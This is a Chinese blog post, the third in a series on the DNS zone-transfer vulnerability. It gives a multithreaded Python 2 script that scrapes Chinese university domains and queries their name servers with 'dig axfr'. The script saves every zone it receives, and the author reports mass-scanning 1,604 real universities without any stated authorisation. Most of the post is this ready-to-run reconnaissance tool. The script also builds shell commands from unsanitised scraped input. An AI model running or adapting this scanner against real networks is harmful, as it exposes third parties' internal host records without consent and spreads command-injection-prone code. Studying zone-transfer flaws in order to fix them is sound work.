DNS域传送漏洞(三)

本篇介绍批量扫描存在DNS域传送漏洞的DNS服务器。

然后选择了安全性比较差的教育网，共扫描1604所高校，发现漏洞主机396台。

高校的域名可从该页面抓取到：http://ziyuan.eol.cn/college.php?listid=128

#encoding=gbk

import urllib2

import re

import threading

import os

html_doc = urllib2.urlopen('http://ziyuan.eol.cn/college.php?listid=128').read().decode('utf-8')

links = re.findall('href="(list.php\?listid=\d+)', html_doc) # 地区链接

colleges = []

for link in links:

html_doc = urllib2.urlopen(u'http://ziyuan.eol.cn/' + link).read().decode('utf-8')

urls = re.findall('www\.\w+\.edu.\w+', html_doc)

for url in urls:

colleges.append(url)

print '已采集学校主页 %d 个...' % len(colleges)

# 导出学校主页

with open('colleges.txt', 'w') as outFile:

for college in colleges:

outFile.write(college + '\n')

lock = threading.Lock()

c_index = 0

def test_DNS_Servers():

global c_index

while True:

lock.acquire()

if c_index >= len(colleges):

lock.release()

break # End of list

domain = colleges[c_index].lstrip('www.')

c_index += 1

lock.release()

cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List

dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res)

for server in dns_servers:

if len(server) < 5: server += domain

cmd_res = os.popen(os.getcwd() + '\\BIND9\\dig @%s axfr %s' % (server, domain)).read()

if cmd_res.find('Transfer failed.') < 0 and \

cmd_res.find('connection timed out') < 0 and \

cmd_res.find('XFR size') > 0 :

lock.acquire()

print '*' * 10 + ' Vulnerable dns server found:', server, '*' * 10

lock.release()

with open('vulnerable_hosts.txt', 'a') as f:

f.write('%s %s\n' % (server.ljust(30), domain))

with open('dns\\' + server + '.txt', 'w') as f:

f.write(cmd_res)

threads = []

for i in range(10):

t = threading.Thread(target=test_DNS_Servers)

t.start()

threads.append(t)

for t in threads:

t.join()

print 'All Done!'

请读者注意几个细节：

1) 笔者将windows下的命令行工具dig放在了子目录BIND9下，BIND可前往http://www.isc.org/下载。如果你使用Linux，可把完整路径删除。

2) Os.popen打开一个子程序，并返回它的执行结果。

3) Dig命令执行结果中出现特征字符串“XFR size”，则表明该DNS服务器存在漏洞。